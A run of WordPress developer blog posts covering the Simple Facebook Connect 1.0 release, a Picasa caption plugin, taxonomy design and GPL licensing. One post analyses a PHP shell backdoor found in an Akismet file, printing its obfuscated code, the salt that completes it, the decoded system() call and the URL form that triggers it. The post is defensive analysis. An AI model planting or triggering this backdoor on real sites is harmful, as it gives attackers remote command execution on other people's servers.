Otto on WordPress

Facebook recently made a breaking change to the developer process, which makes it impossible for new applications to get the correct API keys. Since this essentially broke all previous versions of SFC, I went ahead and pushed the beta version public. It’s still unfinished, but Facebook didn’t really give me a lot of choice.

So, this is a quick walkthrough of some of the new features of SFC 1.0.

Upgrade Process

The upgrade process is slightly more involved for this one. It is recommended that you deactivate the old SFC plugins before upgrading. Why? Well, if you don’t, you’ll get a bunch of errors when visiting the Plugins screen later, saying that all the old SFC plugins either don’t exist or have an invalid header. These errors are normal, because of the next feature:

One plugin only

No more sub-plugins

Simple Facebook Connect is now a single plugin, with modular features. If you examine the plugins screen, you’ll find only one entry: Simple Facebook Connect.

The many-plugins-in-one was a useful experiment, IMO, and I still think it’s a better way to do things. But many people find it confusing, and some have disagreed with the notion. A lack of useful core support for plugin dependencies and user feedback convinced me to switch it up. So now, SFC is one plugin. But it’s still modular!

Sub-module selections

As you can see in the image, you can still turn on and off pieces of the plugin. Why have a piece running and consuming valuable resources if you’re not using it? Turning a module off completely disables it in the code. And the core of SFC itself is still written modularly, for maximum performance (since integrating Facebook itself is such a drag on performance for a site to begin with).

Support for new Facebook code

Over a year ago, Facebook stopped supporting the original Facebook Connect libraries. This was a major problem for sites, however the old code still worked. So as time went on, and the old Connect libraries started to degrade and become less and less useful, SFC was rewritten from the ground up to use all the newer supported libraries. Facebook’s JS SDK is used. FB’s Graph API is used. The old Facebook REST Platform code is completely gone, as are the older incompatible Facebook Connect libraries. OpenGraph meta tags (including embed info for images and video) are inserted into the entire site, completely automatically, allowing Facebook to see the content of your site and act accordingly.

Many of the plugins themselves have been rewritten fairly extensively as well, but with this comes some removal of older code.

Faux Share button settings

The Share button is gone. It was previously implemented using the older Connect libraries, but with the newer libraries from Facebook, it’s been completely removed. There was just no good way to retain it, Facebook has simply dropped any and all support for it. So, in it’s place (because it was so handy) is a modified Like button, which can still look sorta like the old Share button. The SFC module is still named Share, for ease of transition. The Like button itself is still around too, so you can use both Like and Share to get two Like buttons on the same post, perhaps for different placement.

The Bookmark widget is gone. It simply isn’t supported anymore, and didn’t work anyway.

The Find on Facebook widget is gone. This didn’t do really anything special to begin with, other than place the Find Us image into a widget, with a link to the Facebook Page. The image it once used is still included in the plugin, for people that want to do this themselves via a text widget.

The Connect widget is gone, but may make a return in the next version, as soon as some bugs are sorted out.

The Upcoming Events widget is gone. It rarely worked properly to begin with, and the newer XFBML libraries doesn’t have support for it anymore. A alternate approach to this may make it back into the next version.

All the remaining widgets have been combined into a single module for use on the widgets screen. In addition, most of them still have a way to access them directly, such as from a function call in a theme.

Publisher settings

The Publisher has been simplified greatly. For one, auto-publishing now works even for Applications! The confusing permissions dialogs have been reduced to one. Colored indicators have been added, showing when the plugin has the necessary “tokens” from Facebook in order to be able to publish properly. The manual publishing functionality is still on the edit post screens too. And for those people using the auto-publish, a new system for pulling Facebook comments on their published posts back into the blog has been implemented.

For those who wanted it, Custom Post Type support has been added to the publisher as well. Any CPT marked as “public” gets shared like everything else.

Register screen

The Register system has been completely rewritten to take advantage of Facebook’s new register plugin functionality. It can handle standalone registrations, or registrations using Facebook information. It even adds a Facebook created captcha to prevent spam registrations.

Login has been improved. One of the most common complaints was “What does ‘User not recognized’ mean?” This should be severely reduced now, since the Login module will auto-detect existing users and automatically connect their local WP accounts with their FB accounts, when they try to login. This follows Facebook’s own Registration Flow Models for connecting users to sites.

The Comment system has been improved. The share-after-comment system now happens in the background, no extra popups for users to have to click on. The whole system is now using the Graph API, so no more strange javascript errors causing weirdness. Although there is still some javascript to display the user their picture and info after logging in, so it still has that same look and feel.

There’s a lot more too. I’ll be updating this post with new stuff soon!

Another new thing in SFC 1.0 is the new Login and Registration mechanism. The login mechanism in the older SFC worked, but it was slightly buggy and didn’t work very well. The new mechanism works quite well indeed.

Login screen with Facebook popup

For starters, it will auto-connect existing accounts to Facebook, based on matching email addresses. Just Login with your FB credentials, and if you’re using the same email in both sites, then it auto logs you in based on that. Your account gets automatically connected to your Facebook Profile, and this appears in the “Howdy” dropdown as well as on your Profile.

Howdy dropdown

This may seem insecure to some, however the mechanism behind the scenes is that Facebook sets a cookie in your browser, and cryptographically signs it. Your Application Secret is the key used to decode this signature, thus proving it came from your Facebook application, and eliminating the risk of having users log in without your valid credentials.

However, this does point out something everybody should know: Secrets are supposed to be secret. So keep your Facebook Application Secret a real secret. This applies anytime you’re setting up interconnected web applications. Secrets are called that for a reason.

Registration Flow

In order to integrate Login and Registration using Facebook, Facebook came up with what is essentially a flow diagram explaining the steps an app should use to login and register somebody to a third party site.

Facebook's rather complex registration flow diagram

This rather complex looking flowchart shows how a site which has its own login and registration mechanism can implenent Facebook. I’ve followed this chart as best as possible, and thanks to FB’s Registration plugin, it works quite well now. Here’s how it breaks down.

For existing users:

1. You click the Login button.
2. You login to Facebook if needed.
3. If your email on Facebook matches your email in WordPress, you’re logged in and your account is automatically connected.
4. If your email doesn’t match, then you can log in normally with WordPress instead, and connect your account manually, on the Users->Your Profile screen.

For new users:

1. You click the Login button.
2. You login to Facebook if needed.
3. If no account can be found for you from the login process, you get redirected to the Register page.
4. There the Facebook register plugin shows up and lets you register for the WordPress site, using your Facebook credentials. All it asks for is a username and to solve a CAPTCHA (to prevent spam registrations).
5. You get a new WordPress account, already connected to Facebook for you. It even emails you a password.

Registration screen

Some have expressed concern that Facebook seems required for registration. This is not actually the case, because after all, not everybody uses Facebook. One of the nice things about the FB Register plugin is that it has different methods for Facebook connected users vs. non-Facebook connected users. Both types of users can register for the site. Facebook users get some advantages like having their account automatically connected and not having to type in an email address, but the basic process is the same.

For new users not using Facebook:

1. You click the Register link.
2. The Facebook register plugin shows up and lets you register for the WordPress site. It will ask for a username and your email address, as per the normal registration process. It does have the CAPTCHA too, and tells you that you can login using Facebook as well, if you want.
3. You get a new WordPress account, and it emails you a password.

Registration screen

And after logging in and having it recognize you, the user will be automatically connected to their account on their Profile page.

Facebook Connection shown on the Profile Page

If you want to try the new version now, I’ve finally moved it into the normal “trunk” directory on the repository at WordPress.org, so you can download the ZIP file of the plugin here:
http://downloads.wordpress.org/plugin/simple-facebook-connect.zip

Release date: soon. Real soon now.

Added a new feature that people have been asking me for since I created SFC to begin with: Comments Integration.

Facebook comments

When you make a post with SFC, the publisher plugin has the ability to push that post to either your Facebook Page or Profile. Up until now, the auto-publish feature has been doing this and storing meta-data with the post about the resulting “story” id that Facebook sends back. This data was stored, but not really used.

No longer. Now, if you auto-publish to Facebook, you have the option to pull comments back from that automatically published Facebook post and show them in the blog as if they were normal WordPress comments.

You can see this in action here on my own site. On the SFC 1.0 Photo Support post, you’ll find a comment at the bottom made by a user named “Kartsios Vasilis”. That comment wasn’t left here on this site, it was left on the Facebook story corresponding to that post. As you can see, the avatar for the user shows up on the comment, it’s styled differently (I felt the blue background sort of distinguished it), and it doesn’t have a reply link.

Since these aren’t “real” WP comments, and don’t live in the WP database, you can’t reply to them properly. So the reply link is automatically removed for them. I used a styling rule in the CSS to add the “This comment was originally made on Facebook, so replying to it here is not allowed.” message where the Reply link would normally be. Because this is just using a simple CSS style rule, you can make that message anything you like, or not have it at all. That’s up to you and your theme.

The new feature is relatively painless too. No configuration is needed. Every 6 hours (minimum), the plugin will retrieve the relevant comments from the Facebook posts, then store them as a transient. This reduces the amount of work since it doesn’t have to talk to Facebook every time. The comments are then integrated in with the normal comments for the post, and the comment count is updated to reflect the right number.

There’s still some minor detail work to be done. Right now, for example, the comments are just added onto the end of the list of comments, and so they’re out of order. The final version will have the comments integrated in correctly by the date and time they were made. Edit: This is now working, comments are added in the proper order.

If you want to use the beta version of SFC (currently marked as version 0.999) you can find it in the WordPress Plugins SVN repository.

Edit: The CSS to add this text, since people asked, is this:

li.comment.facebook .reply:before {
content:"This comment was originally made on Facebook."
}

Simple, really.

Was trying to upload some photos and noticed that the captions I had set on the photos in Picasa showed up as titles in WordPress instead of as captions. Examining the core code, I found that it’s a known issue, but that fixing it in the core isn’t so easy, since WordPress has to support a number of different image editing programs and such. Different programs use the EXIF fields in different ways.

But I mostly use Picasa for photo management, so I don’t care about those other programs. So I wrote a quick plugin to fix the problem with WordPress and Picasa photos. Basically it just rejiggers the attachment when it’s added (but not when it’s edited) and puts the caption in the right place.

<?php
/**
Plugin Name: Picasa Captioner
Description: Fix up WordPress to read Picasa Captions from EXIF info properly.
Author: Otto
Author URI: http://ottodestruct.com/
**/

add_filter( 'wp_read_image_metadata', 'picasa_adjust_caption' );
function picasa_adjust_caption($meta) {
	if (empty($meta['caption']) && !empty($meta['title'])) {
		$meta['caption'] = $meta['title'];
		$meta['title'] = '';
	}
	return $meta;
}

add_action( 'add_attachment', 'picasa_adjust_attachment' );
function picasa_adjust_attachment($id) {
	$attachment = & get_post( $id, ARRAY_A );
	if ( !empty( $attachment ) ) {
		$attachment['post_excerpt'] = $attachment['post_content'];
		$attachment['post_content'] = '';
		wp_update_post($attachment);
	}
}

While looking at my backlinks today, I noticed a site in French had linked to my post about making photo galleries. He mentioned that the Google Translate wasn’t great. I took a look, and while I don’t know how good the text translation was, I did notice that Google strangely tried to translate the code as well, thus screwing it all up.

A quick search revealed that all one had to do was to add the “notranslate” class to any wrapping object to prevent its contents from being translated.

Now, I use the Syntax Highligher Evolved plugin to display code on my site (although I use an older version because I like the look and functionality of it better than the latest version). So I edited the plugin and found where it inserts the PRE tag, and added the notranslate class to it. And voila, now my code doesn’t get translated anymore.

Just a helpful tip for anybody who posts code on their sites.

Saw a post over on the WordPress Stack Exchange site a while back, and though I sorta went into it in my answer there, I figured it would make a decent topic.

Custom taxonomies are great. But they’re not great for everything. When designing a custom solution, it’s helpful to understand this in advance, so you can choose what goes where properly.

What is a Taxonomy?

According to Wikipedia, Taxonomy is the practice and science of classification. I like this definition a lot, because it really points out what you’re doing with taxonomies. You’re classifying things. Or better yet, grouping them.

That word is important: Grouping. You’re putting things into groups. The taxonomy is the sum of those groups.

In the case of WordPress, you’re putting posts into groups. Maybe they’re custom post types of some kind (actually, they probably are if you’re doing it properly), but they still fit into the wp_posts table, so lets call them posts. You’re grouping posts together.

Categories group posts together. Tags group posts together. The way that these two are used is somewhat different, but that’s the basic end result here, right?

The group itself is the important bit. Not the term, the term you use for that group is just a label. It has no real significance whatsoever.

Now, I know that we often display the term, and I think that this is what confuses people. The category or tag is probably a word, in English (or your own language), and words have meaning. So yes, it does matter when I add “php” as a tag, or use the “Rants” category. But what’s important to realize is that that word only has meaning to people, not to the computers, and certainly not to our data design.

Enter Postmeta, Stage Left

Let’s say I’m building a new site, and I want to make, say, television shows be a custom post type. TV Shows are a pretty good choice for this example, as well as what the original SE question was about.

What makes sense as a taxonomy for a TV Show? Title? Actors? Episode numbers? Season numbers? For each item, you need to consider whether it makes more sense as a taxonomy or as pure post meta, or (rarely) both.

Titles makes perfect sense for a taxonomy. You’re grouping all the episodes of that show together, and people will want to see an episode listing. So yes, it’s a taxonomy.

Actors also makes sense as a taxonomy. Actors act in many roles, it would be nice to see what various shows and episodes they’ve been in.

Season and Episode numbers is another one. Every show has it’s own season and episode number. Usually this is represented as Season 1, Episode 1, sort of thing. At first glance, season numbers kinda makes sense as a taxonomy, since you can pull all of season 1 out. But on further reflection, no it doesn’t, because it doesn’t stand alone. Every TV series has a season 1. We don’t want to pull out all season 1 shows from all series, it’s not something we’ll need to do. Same goes for episode numbers, when are we going to make a query based on episode numbers, to get all the first episodes of all shows? Makes no sense. These should be postmeta (or “Custom Fields” as some people insist on calling them).

The difference is one of grouping. For Titles and Actors, we’re grouping individual things together in a meaningful way that stands alone. Sure, our labels (terms) will have meaning to us humans, but not to the act of the grouping itself. The group is a natural one. For seasons, the grouping is meaningful, but less so because it’s shared among non-similar things (different shows). It doesn’t stand alone. You could get around that by saying that your term would be title-season# or similar, but it really makes more sense as postmeta, since the season and episode number, taken together, are unique to the item we’re storing.

Postmeta as Unique Information

That’s the difference: Postmeta is bits of information that are specific to the post item itself. Taxonomies are bits of information shared, in a meaningful manner, by many different items. Title is shared across all episodes of a TV Show, and defines a meaningful relationship to all those episodes. Season number is shared, but it’s not meaningful because all shows have similar season numbers.

Notably, there’s easy ways to order by postmeta, but not by a taxonomy. Ordering by a taxonomy makes no real sense, because lots of items will share the same terms in that taxonomy. If I have 20 items all with “foo” as a term in a taxonomy, then what am I ordering them by? They’re all “foo” items.

As for querying, I can query based on either postmeta or taxonomy, if I really want to. Ideally, I’d do both. For example, if I wanted Firefly, Season 1, Episode 13, then I could specify both a tax_query for title and a meta_query for “S01E13″ and get that one unique item. If I wanted all episodes of it in order, then I specify the tax_query for title and the meta query to select the season/episode metadata, then use the orderby to put them in the right order.

Choose Wisely

So if I can query by them both, but only order by postmeta, then what’s the difference? Why not use postmeta for everything?

Speed. Querying for a taxonomy is loads faster than querying for posts with certain meta information. Even better, I can use both to make things even speedier. The meta_query for S01E13 is going to be loads faster when I specify that title taxonomy, because now it’s only looking for S01E13 amongst Firefly episodes, not amongst all episodes of all shows.

The bottom line is that it’s best to use a taxonomy for attributes that a) define a natural grouping of your items, and b) which are natural labels and not inherently useful data to your methods. The title is not inherently a useful data (it’s just text, could be anything), but the episode number is a number which you will want to order by and display/change/set. You use that episode number for doing something.

Also, it’s perfectly understandable for individuals to disagree on any given example. There is no “right” answer, there’s only the answer that satisfies your own personal use cases. When designing your taxonomies, just remember to think about grouping of items and how you’re going to use the data you’re defining. If it’s a group in how you are going to use it, then a taxonomy works better than postmeta. But if you need the attribute to be manipulated in some manner, then a postmeta works better.

I was alerted to this tweet by @andrea_r this morning:

Uh oh… This was in wp-content/plugins/akismet/admin.php. http://pastie.org/1806790 #WordPress

— Scott Basgaard (@scottbasgaard) April 18, 2011

Here’s the code in question:

<?php
@$str1 = "0cmVhbT1AJF9HRVRbJz" . $HTTPS_ACCEPT_URLENCODING['KOI8-R'];
@$str2 = "B4RkYnXTtAc3lzdGVtK" . $HTTPS_ACCEPT_URLENCODING['WIN-1251'];
@$str3 = "CRuZXdzdHJlYW0pOw==" . $HTTP_ACCEPT_URLENCODING['UTF-8'];
@eval(base 64_decode($_GET['salt'] . $str1 . $str2 . $str3));
?>

Decoding this is a rather simple matter. First, we remove the eval line and do a var_dump on the variables. We get this:

>php test.php
string(19) "0cmVhbT1AJF9HRVRbJz"
string(19) "B4RkYnXTtAc3lzdGVtK"
string(19) "CRuZXdzdHJlYW0pOw=="

Notice that the HTTP_ACCEPT_URLENCODING mess is a red herring. It’s there to make it look more legit, sort of thing.

So now we have this string: “0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”. Unfortunately, it is incomplete. Note the “salt” parameter being used in the eval(base 64_decode()) line.

Well, a bit of searching turned up the fact that the salt is supposed to be “JG5ld3N”. So somebody can send a ?salt=JG5ld3N parameter in an HTTP request and get the following string to decode: “JG5ld3N0cmVhbT1AJF9HRVRbJzB4RkYnXTtAc3lzdGVtKCRuZXdzdHJlYW0pOw==”.

So we run that through a base64 decoder and get this:

$newstream=@$_GET['0xFF'];@system($newstream);

So it’s just performing a system call on whatever comes in via the 0xFF parameter. Ah ha! It’s a shell backdoor. I can make a hit to example.com?salt=JG5ld3N&0xFF=**any-command-I-want** and have it execute it in the shell.

Fortunately, this is not a particularly well hidden example. The use of “eval” and “base 64_decode” is a dead giveaway, as is the use of unchecked $GET parameters.

Most likely, Scott got hacked through either bad permissions on a shared server or somebody got ahold of his FTP credentials somehow. It’s hard to say without seeing his server logs, but checking through all files on the system is probably a good idea.

As always, the Codex has some good suggestions.

Slides for the presentation I gave on Post Formats at the WordPress Memphis Meetup yesterday. It was a short presentation, only about 15-20 minutes, really. Post formats simply aren’t that complicated, and tend to be easy to grasp quickly.

Link if you can’t see the embedded version above: http://go.otto42.com/uhwrv

I followed up showing on a demo site how you could use CSS to easily add and style post formats. During that, I used the Web Developer Addon for Firefox, since that’s my preferred means of quickly editing CSS files and seeing the results, live. Frankly, I just find Firebug too complicated to use for that sort of thing.

Minor discussion on Facebook about whether it’s better to create an application or not for connecting your site to Facebook (sorta-kinda relating to Simple Facebook Connect in particular).

One picture that sums it up for me is the Insights functionality Facebook can give you:

Facebook Insights Page for ottopress.com

That’s not for my app on Facebook, that’s for clicks on Like/Share buttons on this site, right here. You can drill down further and get clickthrough ratios, likes for individual pages, etc… Along with a whole bunch of other detailed information.

Because the “site” is separate from the “App”, I can get similar stats for likes on my Facebook Page (really an app) and such too.

BTW, if you’re using SFC and haven’t enabled this sort of thing, then it’s really easy to do. You can do the same thing without SFC, it’s just that SFC makes it easy for you by putting all the proper header codes into your page to make it work seamlessly.

I recently had an exchange with a commercial theme developer who changed his terms away from the GPL because of an experience with some rude person who was redistributing his themes for free. Ultimately, I wasn’t able to convince him to stick with it, but there was a clear misunderstanding of the GPL in the first place there (I suspect that language differences played some part), and I thought this might make for an interesting blog post.

(Note that I’m talking about themes, but this all applies to commercial plugins as well as any other code you’re selling online.)

It’s All About Redistribution

The main barrier to the GPL that a lot of theme developers have expressed is the right of redistribution. That is to say that if you sell me a GPL’d theme, then I can turn around and give that theme to anybody I want, for free, and you have no recourse.

This viewpoint is entirely correct, however it’s missing the big picture, I feel.

Why Would I Do That?

First off, why would I take something I paid for and then give it away to everybody else for free? I mean, it’s one thing to give a copy of something to a friend of mine for his use, but it’s wholly another to go to the effort of setting up a website to distribute your theme as some kind of “screw you” policy. Did you anger me in some way? What level of maliciousness would be necessary for me to want to do that? Seems a bit overboard, and most people are ultimately reasonable.

However, this ignores the existence of John Gabriel’s Greater Internet Fuckwad Theory. Which is to say that some people are just trolling bastards who will screw with you just because they can. So let’s say that somebody gets a copy of your themes, posts them online, then refuses to take them down despite your polite requests, and waves the GPL in your face for his right to redistribute them.

Technically, this sort of person is correct, he does have the right of redistribution. But that doesn’t really matter.

What Are You Selling, Anyway?

Let’s say I made a piece of code and sold it. No GPL, no license, just me selling code to people for their own use. They have no rights to the code whatsoever. So, somebody posts that code online, for free, at some pirate site. Somebody else downloads it, and uses it, without paying me. Straightforward software “piracy”.

What have I lost here? Well, I lost the cash that I could have made from an extra sale, true, assuming that said person would have bought the code instead of pirating it. If you know people who habitually pirate code, then you know that that is a rather dubious claim, at best.

More importantly, I’ve lost a contact point between me and the user of the code. When I sell something to somebody, then I now have a relationship with that person. I get their email address. They may contact me for support. Even paid support. I may have forums for purchasers of my software to talk amongst each other in a community support system. They may buy other things I wrote.

This is the real benefit to selling code, that relationship between me as a developer and them as a purchaser of what I develop. And I’m missing that connection, until they want support from me for my product. Then I may say “well, you’re using a pirated copy of my product, if you want to join my support forums and my community and get my help, then you have to buy the product from me”. Take note of the many times that software companies have offered “clemency” sales and such, to turn pirated copies into legitimate ones.

What it comes down to is simple:

You Can’t Stop Piracy, So Don’t Try.

Think about it, you’re selling a digital file here. Files can be copied. If I buy a copy of your software, strip out any identifying marks, then post it to a thousand torrent sites, what exactly can you do to stop me from doing that?

No matter what your terms and conditions are, people still can copy your files, distribute them, edit them, do whatever they want. Unless you’re actually enforcing your terms with (potentially expensive) legal actions, then your terms are really quite meaningless. Technical measures to stop piracy don’t work, as many game companies have found out over the years. DRM doesn’t (and technically cannot) work.

Instead of viewing people redistributing your code as a bad thing, view it as an opportunity. If somebody downloads a “pirated” copy of your code, and uses it, then clearly they have a use for it. And at some point, they’re going to want upgrades. They’re going to want support. They’re going to want modifications. So make sure that you are the person they come to, and then you have an opportunity to convert that pirated download into a real sale.

The GPL doesn’t screw the developer by allowing others to share his work. The GPL enables the developer to get more contacts (and potentially more sales) by allowing others to share his work along with his name, contact information, website, etc.

Don’t fight against the right of redistribution, make it work for you instead.